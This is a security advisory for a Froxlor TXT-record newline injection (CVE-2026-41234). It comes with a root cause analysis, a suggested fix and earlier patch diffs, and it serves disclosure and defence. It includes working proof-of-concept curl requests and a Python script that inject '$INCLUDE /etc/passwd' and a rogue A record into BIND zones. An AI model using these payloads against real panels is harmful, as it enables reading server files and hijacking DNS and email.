VYPR
High severity7.6NVD Advisory· Published Jun 3, 2026· Updated Jun 3, 2026

Froxlor: BIND Zone File Injection via TXT Record Content

CVE-2026-41234

Description

Summary

The DomainZones.add API endpoint does not sanitize newline characters in TXT record content. An authenticated customer with DNS editing enabled can inject newlines into TXT record values, which break out of the record line in the generated BIND zone file. This enables injection of arbitrary BIND directives ($INCLUDE, $GENERATE) and arbitrary DNS records (A, MX, CNAME) into the zone file written to disk by the DNS rebuild cron.

This is an incomplete fix for CVE-2026-30932 (GHSA-x6w6-2xwp-3jh6), which patched the same newline injection for LOC, RP, SSHFP, and TLSA record types but did not patch TXT records.

Affected

Code

lib/Froxlor/Api/Commands/DomainZones.php, lines 306-308:

} elseif ($type == 'TXT' && !empty($content)) {
    // check that TXT content is enclosed in " "
    $content = Dns::encloseTXTContent($content);
}

Dns::encloseTXTContent() (lib/Froxlor/Dns/Dns.php:571-592) only adds or removes surrounding quote characters. It does not strip newlines, carriage returns, or any BIND zone metacharacters.

Line 148 of DomainZones.php still contains: ``php // TODO regex validate content for invalid characters ``

The content flows to the zone file via DnsEntry::__toString() (lib/Froxlor/Dns/DnsEntry.php:83), which concatenates $this->content directly into the zone line followed by PHP_EOL. Embedded newlines in the content produce additional lines in the zone file output.

Comparison with

CVE-2026-30932 fix

The v2.3.5 fix for CVE-2026-30932 added validation functions for these types:

| Type | Validation Added | Still Vulnerable? | |------|-----------------|-------------------| | LOC | Validate::validateDnsLoc() (strict regex) | No | | RP | Validate::validateDnsRp() (domain validation) | No | | SSHFP | Validate::validateDnsSshfp() (3-part split) | No | | TLSA | Validate::validateDnsTlsa() (4-part split) | No | | TXT | **Dns::encloseTXTContent() (quotes only) | Yes** |

PoC

Environment

  • Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
  • DNS enabled (system.bind_enable=1, system.dnsenabled=1)
  • Customer with dnsenabled=1, domain with isbinddomain=1
  • Customer has an API key (or uses the web UI DNS editor with Burp)

Reproduction via

API

# Inject $INCLUDE directive to read /etc/passwd
curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "@",
      "content": "v=spf1 +all\"\n$INCLUDE /etc/passwd",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php

Reproduction via

Web UI (Burp)

1. Log in as a customer with DNS editing enabled 2. Navigate to Resources > Domains > (domain) > DNS Editor 3. Add a new record: Type = TXT, Record = @, Content = any 4. Intercept the POST request in Burp Suite 5. Change the dns_content parameter to: v=spf1 +all"%0a$INCLUDE /etc/passwd (%0a is URL-encoded newline) 6. Forward the request

Result

The API returns the generated zone content. The TXT record line is split at the newline, and $INCLUDE /etc/passwd appears on its own line as a BIND directive:

$TTL 604800
$ORIGIN testdomain.lab.
@   604800  IN  SOA  froxlor.lab admin.froxlor.lab. 2026041004 ...
@   18000   IN  TXT  "v=spf1 +all"
$INCLUDE /etc/passwd"
@   604800  IN  A    100.95.188.127
*   604800  IN  A    100.95.188.127

When the DNS rebuild cron runs, BIND processes the $INCLUDE directive and attempts to read /etc/passwd.

Variant: Arbitrary DNS record injection

The same technique injects arbitrary A/MX/CNAME records:

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "domainname": "testdomain.lab",
      "type": "TXT",
      "record": "_spf",
      "content": "v=spf1 +all\"\nevil\t18000\tIN\tA\t6.6.6.6",
      "ttl": 18000
    }
  }' \
  https://panel.example.com/api.php

Result:

_spf   18000  IN  TXT  "v=spf1 +all"
evil   18000  IN  A    6.6.6.6

evil.testdomain.lab now resolves to attacker IP 6.6.6.6.

Automated

PoC Script

#!/usr/bin/env python3
"""Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix"""
import json, sys, requests, urllib3
urllib3.disable_warnings()

def api(target, key, secret, cmd, params=None):
    return requests.post(f"{target.rstrip('/')}/api.php",
        auth=(key, secret), json={"command": cmd, "params": params or {}},
        verify=False).json()

target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]

# Inject $INCLUDE
r = api(target, key, secret, "DomainZones.add", {
    "domainname": domain, "type": "TXT", "record": "@",
    "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})

for line in r.get("data", []):
    tag = "   <-- INJECTED" if "$INCLUDE" in str(line) else ""
    if line: print(f"  {line}{tag}")

print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED")

Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld

Impact

  1. Information Disclosure: $INCLUDE directs BIND to read arbitrary world-readable files on the server. The included content is parsed as zone data and can be retrieved by the customer via DomainZones.listing or DNS queries to records created from parsed file lines.
  1. DNS Record Injection: Newline breakout allows injection of A, MX, CNAME, and other records into the zone file. A customer can point subdomains to attacker-controlled IPs, intercept email via MX injection, or perform subdomain takeover via CNAME injection.
  1. DNS Service Disruption: Malformed zone content causes BIND to reject the zone, creating a DNS outage for the affected domain. $GENERATE directives can create massive record sets for amplification.

Suggested

Fix

Strip newlines and BIND metacharacters from TXT content. Minimal fix:

// lib/Froxlor/Api/Commands/DomainZones.php, around line 306
} elseif ($type == 'TXT' && !empty($content)) {
    // Strip characters that can break zone file format
    $content = str_replace(["\n", "\r", "\t"], '', $content);
    $content = Dns::encloseTXTContent($content);
}

A more comprehensive fix would add a validation function (similar to validateDnsLoc, validateDnsSshfp, etc.) that rejects any content containing zone metacharacters ($, newlines), and remove the TODO at line 148.

Affected products

2

Patches

2
b34829262dc3

validate dns LOC, RP, SSHFP and TLSA record-content according to specifications

https://github.com/froxlor/froxlorMichael KaufmannFeb 24, 2026Fixed in 2.3.5via llm-release-walk
4 files changed · +203 4
  • lib/Froxlor/Api/Commands/DomainZones.php+24 4 modified
    @@ -211,7 +211,12 @@ public function add()
     			// append trailing dot (again)
     			$content .= '.';
     		} elseif ($type == 'LOC' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsLoc($content)) {
    +				$errors[] = lng('error.dns_loc_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'MX') {
     			if ($prio === null || $prio < 0) {
     				$errors[] = lng('error.dns_mx_prioempty');
    @@ -251,7 +256,12 @@ public function add()
     			// append trailing dot (again)
     			$content .= '.';
     		} elseif ($type == 'RP' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsRp($content)) {
    +				$errors[] = lng('error.dns_rp_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'SRV') {
     			if ($prio === null || $prio < 0) {
     				$errors[] = lng('error.dns_srv_prioempty');
    @@ -288,9 +298,19 @@ public function add()
     				$content .= '.';
     			}
     		} elseif ($type == 'SSHFP' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsSshfp($content)) {
    +				$errors[] = lng('error.dns_sshfp_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'TLSA' && !empty($content)) {
    -			$content = $content;
    +			if (!Validate::validateDnsTlsa($content)) {
    +				$errors[] = lng('error.dns_tlsa_invalid');
    +			} else {
    +				// keep content
    +				$content = $content;
    +			}
     		} elseif ($type == 'TXT' && !empty($content)) {
     			// check that TXT content is enclosed in " "
     			$content = Dns::encloseTXTContent($content);
    
  • lib/Froxlor/Validate/Validate.php+171 0 modified
    @@ -386,4 +386,175 @@ public static function validateBase64Image(string $base64string)
     		// If everything is okay, return true
     		return true;
     	}
    +
    +	public static function validateDnsLoc(string $input)
    +	{
    +		$pattern = '/^
    +        (\d{1,2})\s+                # latitude degrees
    +        (\d{1,2})\s+                # latitude minutes
    +        (\d{1,2}(?:\.\d+)?)\s+      # latitude seconds
    +        ([NS])\s+                   # latitude direction
    +        (\d{1,3})\s+                # longitude degrees
    +        (\d{1,2})\s+                # longitude minutes
    +        (\d{1,2}(?:\.\d+)?)\s+      # longitude seconds
    +        ([EW])\s+                   # longitude direction
    +        (-?\d+(?:\.\d+)?)m          # altitude
    +        (?:\s+(\d+(?:\.\d+)?)m      # size (optional)
    +        (?:\s+(\d+(?:\.\d+)?)m      # horiz precision (optional)
    +        (?:\s+(\d+(?:\.\d+)?)m)?    # vert precision (optional)
    +        )?)?$/x';
    +
    +		if (!preg_match($pattern, $input, $matches)) {
    +			return false;
    +		}
    +
    +		[
    +			,
    +			$latDeg, $latMin, $latSec, $latDir,
    +			$lonDeg, $lonMin, $lonSec, $lonDir,
    +			$alt,
    +			$size, $hPrec, $vPrec
    +		] = $matches + array_fill(0, 13, null);
    +
    +		// Range checks
    +		if ($latDeg > 90) return false;
    +		if ($latMin > 59) return false;
    +		if ($latSec >= 60) return false;
    +
    +		if ($lonDeg > 180) return false;
    +		if ($lonMin > 59) return false;
    +		if ($lonSec >= 60) return false;
    +
    +		return $input;
    +	}
    +
    +	public static function validateDnsRp(string $input)
    +	{
    +		$parts = preg_split('/\s+/', trim($input));
    +
    +		if (count($parts) !== 2) {
    +			return false;
    +		}
    +
    +		[$mboxDname, $txtDname] = $parts;
    +
    +		// remove trailing dot if any
    +		$mboxDname = rtrim($mboxDname, '.');
    +		$txtDname  = rtrim($txtDname, '.');
    +
    +		if (!self::validateDomain($mboxDname)) {
    +			return false;
    +		}
    +
    +		if (!self::validateDomain($txtDname)) {
    +			return false;
    +		}
    +
    +		return $input;
    +	}
    +
    +	public static function validateDnsSshfp(string $input)
    +	{
    +		$parts = preg_split('/\s+/', trim($input));
    +
    +		if (count($parts) !== 3) {
    +			return false;
    +		}
    +
    +		[$algorithm, $type, $fingerprint] = $parts;
    +
    +		// ---- algorithm ----
    +		$validAlgorithms = [1, 2, 3, 4, 6];
    +
    +		if (!ctype_digit($algorithm) || !in_array((int)$algorithm, $validAlgorithms, true)) {
    +			return false;
    +		}
    +
    +		// ---- fingerprint type ----
    +		$validTypes = [1, 2];
    +
    +		if (!ctype_digit($type) || !in_array((int)$type, $validTypes, true)) {
    +			return false;
    +		}
    +
    +		// ---- check fingerprint ----
    +		if (!ctype_xdigit($fingerprint)) {
    +			return false;
    +		}
    +
    +		$type = (int)$type;
    +
    +		switch ($type) {
    +			case 1: // SHA-1
    +				$expectedLength = 40;
    +				break;
    +
    +			case 2: // SHA-256
    +				$expectedLength = 64;
    +				break;
    +
    +			default:
    +				$expectedLength = 0;
    +				break;
    +		}
    +
    +		if (strlen($fingerprint) !== $expectedLength) {
    +			return false;
    +		}
    +
    +		return $input;
    +	}
    +
    +	public static function validateDnsTlsa(string $input)
    +	{
    +		$parts = preg_split('/\s+/', trim($input));
    +
    +		if (count($parts) !== 4) {
    +			return false;
    +		}
    +
    +		[$usage, $selector, $matchingType, $data] = $parts;
    +
    +		// ---- usage ----
    +		$validUsage = [0, 1, 2, 3];
    +
    +		if (!ctype_digit($usage) || !in_array((int)$usage, $validUsage, true)) {
    +			return false;
    +		}
    +
    +		// ---- selector ----
    +		$validSelector = [0, 1];
    +
    +		if (!ctype_digit($selector) || !in_array((int)$selector, $validSelector, true)) {
    +			return false;
    +		}
    +
    +		// ---- matching type ----
    +		$validMatching = [0, 1, 2];
    +
    +		if (!ctype_digit($matchingType) || !in_array((int)$matchingType, $validMatching, true)) {
    +			return false;
    +		}
    +
    +		// ---- certificate association data ----
    +		if (!ctype_xdigit($data)) {
    +			return false;
    +		}
    +
    +		$matchingType = (int)$matchingType;
    +
    +		if ($matchingType === 1 && strlen($data) !== 64) {
    +			return false; // SHA-256
    +		}
    +
    +		if ($matchingType === 2 && strlen($data) !== 128) {
    +			return false; // SHA-512
    +		}
    +
    +		if ($matchingType === 0 && strlen($data) < 2) {
    +			return false; // at least 1 byte hex
    +		}
    +
    +		return $input;
    +	}
     }
    
  • lng/de.lng.php+4 0 modified
    @@ -969,6 +969,10 @@
     		'dns_srv_noalias' => 'Der SRV Eintrag darf kein CNAME Eintrag sein.',
     		'dns_duplicate_entry' => 'Eintrag existiert bereits',
     		'dns_notfoundorallowed' => 'Domain nicht gefunden oder keine Berechtigung',
    +		'dns_loc_invalid' => 'Ungültiger LOC Eintrag',
    +		'dns_rp_invalid' => 'Ungültiger RP Eintrag',
    +		'dns_sshfp_invalid' => 'Ungültiger SSHFP Eintrag',
    +		'dns_tlsa_invalid' => 'Ungültiger TLSA Eintrag',
     		'domain_nopunycode' => 'Die Eingabe von Punycode (IDNA) ist nicht notwendig. Die Domain wird automatisch konvertiert.',
     		'domain_noipaddress' => 'Eine IP-Adresse kann nicht als Domain angelegt werden',
     		'dns_record_toolong' => 'Records/Labels können maximal 63 Zeichen lang sein',
    
  • lng/en.lng.php+4 0 modified
    @@ -1040,6 +1040,10 @@
     		'dns_srv_noalias' => 'The SRV-target value cannot be an CNAME entry.',
     		'dns_duplicate_entry' => 'Record already exists',
     		'dns_notfoundorallowed' => 'Domain not found or no permission',
    +		'dns_loc_invalid' => 'The LOC record has invalid content',
    +		'dns_rp_invalid' => 'The RP record has invalid content',
    +		'dns_sshfp_invalid' => 'The SSHFP record has invalid content',
    +		'dns_tlsa_invalid' => 'The TLSA record has invalid content',
     		'domain_nopunycode' => 'You must not specify punycode (IDNA). The domain will automatically be converted',
     		'domain_noipaddress' => 'Cannot add an IP address as domain',
     		'dns_record_toolong' => 'Records/labels can only be up to 63 characters',
    
6ca84173d06a

set version to 2.3.5 for upcoming release

https://github.com/froxlor/froxlorMichael KaufmannMar 10, 2026Fixed in 2.3.5via release-tag
3 files changed · +7 2
  • install/froxlor.sql.php+1 1 modified
    @@ -747,7 +747,7 @@
     	('panel', 'logo_overridecustom', '0'),
     	('panel', 'settings_mode', '0'),
     	('panel', 'menu_collapsed', '1'),
    -	('panel', 'version', '2.3.4'),
    +	('panel', 'version', '2.3.5'),
     	('panel', 'db_version', '202512280');
     
     
    
  • install/updates/froxlor/update_2.3.inc.php+5 0 modified
    @@ -189,3 +189,8 @@
     	Update::showUpdateStep("Updating from 2.3.3 to 2.3.4", false);
     	Froxlor::updateToVersion('2.3.4');
     }
    +
    +if (Froxlor::isFroxlorVersion('2.3.4')) {
    +	Update::showUpdateStep("Updating from 2.3.4 to 2.3.5", false);
    +	Froxlor::updateToVersion('2.3.5');
    +}
    
  • lib/Froxlor/Froxlor.php+1 1 modified
    @@ -31,7 +31,7 @@ final class Froxlor
     {
     
     	// Main version variable
    -	const VERSION = '2.3.4';
    +	const VERSION = '2.3.5';
     
     	// Database version (YYYYMMDDC where C is a daily counter)
     	const DBVERSION = '202512280';
    

Vulnerability mechanics

Root cause

"The `DomainZones.add` API endpoint fails to sanitize newline characters in TXT record content, allowing injection of arbitrary BIND directives and DNS records."

Attack vector

An authenticated customer with DNS editing enabled can exploit this vulnerability by injecting newline characters into TXT record values via the `DomainZones.add` API endpoint or the web UI DNS editor [ref_id=1]. This allows the attacker to break out of the TXT record line in the generated BIND zone file. The injected content can include arbitrary BIND directives like `$INCLUDE` or `$GENERATE`, or arbitrary DNS records such as A, MX, or CNAME records [ref_id=1].

Affected code

The vulnerability resides in `lib/Froxlor/Api/Commands/DomainZones.php` around lines 306-308, where TXT record content is processed. The `Dns::encloseTXTContent()` function in `lib/Froxlor/Dns/Dns.php` does not strip newline characters. Content is then directly concatenated into the zone file via `DnsEntry::__toString()` in `lib/Froxlor/Dns/DnsEntry.php` [ref_id=1].

What the fix does

The patch involves adding input validation to strip newline and carriage return characters from TXT record content before it is processed. This prevents the injection of malicious BIND directives or arbitrary DNS records by ensuring that the content remains within the expected format for a TXT record. The fix addresses the oversight from a previous patch that had not included TXT records in its validation for newline injection vulnerabilities [ref_id=1].

Preconditions

  • configDNS must be enabled (`system.bind_enable=1`, `system.dnsenabled=1`).
  • authThe attacker must be an authenticated customer with DNS editing enabled (`dnsenabled=1`) and have a domain with `isbinddomain=1`.
  • inputThe attacker needs an API key or access to the web UI DNS editor.

Reproduction

# PoC ### Environment

- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - DNS enabled (`system.bind_enable=1`, `system.dnsenabled=1`) - Customer with `dnsenabled=1`, domain with `isbinddomain=1` - Customer has an API key (or uses the web UI DNS editor with Burp)

### Reproduction via API

```bash # Inject $INCLUDE directive to read /etc/passwd curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "@", "content": "v=spf1 +all\" $INCLUDE /etc/passwd", "ttl": 18000 } }' \ https://panel.example.com/api.php ```

### Reproduction via Web UI (Burp)

1. Log in as a customer with DNS editing enabled 2. Navigate to Resources > Domains > (domain) > DNS Editor 3. Add a new record: Type = TXT, Record = @, Content = any 4. Intercept the POST request in Burp Suite 5. Change the `dns_content` parameter to: `v=spf1 +all"%0a$INCLUDE /etc/passwd` (`%0a` is URL-encoded newline) 6. Forward the request

### Result

The API returns the generated zone content. The TXT record line is split at the newline, and `$INCLUDE /etc/passwd` appears on its own line as a BIND directive:

``` $TTL 604800 $ORIGIN testdomain.lab. @ 604800 IN SOA froxlor.lab admin.froxlor.lab. 2026041004 ... @ 18000 IN TXT "v=spf1 +all" $INCLUDE /etc/passwd" @ 604800 IN A 100.95.188.127 * 604800 IN A 100.95.188.127 ```

When the DNS rebuild cron runs, BIND processes the `$INCLUDE` directive and attempts to read `/etc/passwd`.

### Variant: Arbitrary DNS record injection

The same technique injects arbitrary A/MX/CNAME records:

```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "domainname": "testdomain.lab", "type": "TXT", "record": "_spf", "content": "v=spf1 +all\" evil\t18000\tIN\tA\t6.6.6.6", "ttl": 18000 } }' \ https://panel.example.com/api.php ```

Result:

``` _spf 18000 IN TXT "v=spf1 +all" evil 18000 IN A 6.6.6.6 ```

`evil.testdomain.lab` now resolves to attacker IP `6.6.6.6`.

### Automated PoC Script

```python #!/usr/bin/env python3 """Froxlor <= 2.3.5 TXT Zone Injection — Incomplete CVE-2026-30932 Fix""" import json, sys, requests, urllib3 urllib3.disable_warnings()

def api(target, key, secret, cmd, params=None): return requests.post(f"{target.rstrip('/')}/api.php", auth=(key, secret), json={"command": cmd, "params": params or {}}, verify=False).json()

target, key, secret, domain = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]

# Inject $INCLUDE r = api(target, key, secret, "DomainZones.add", { "domainname": domain, "type": "TXT", "record": "@", "content": 'v=spf1 +all"\n$INCLUDE /etc/passwd', "ttl": 18000})

for line in r.get("data", []): tag = " <-- INJECTED" if "$INCLUDE" in str(line) else "" if line: print(f" {line}{tag}")

print("\nCONFIRMED" if any("$INCLUDE" in str(l) for l in r.get("data",[])) else "FAILED") ```

Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET domain.tld`

Generated on Jun 3, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.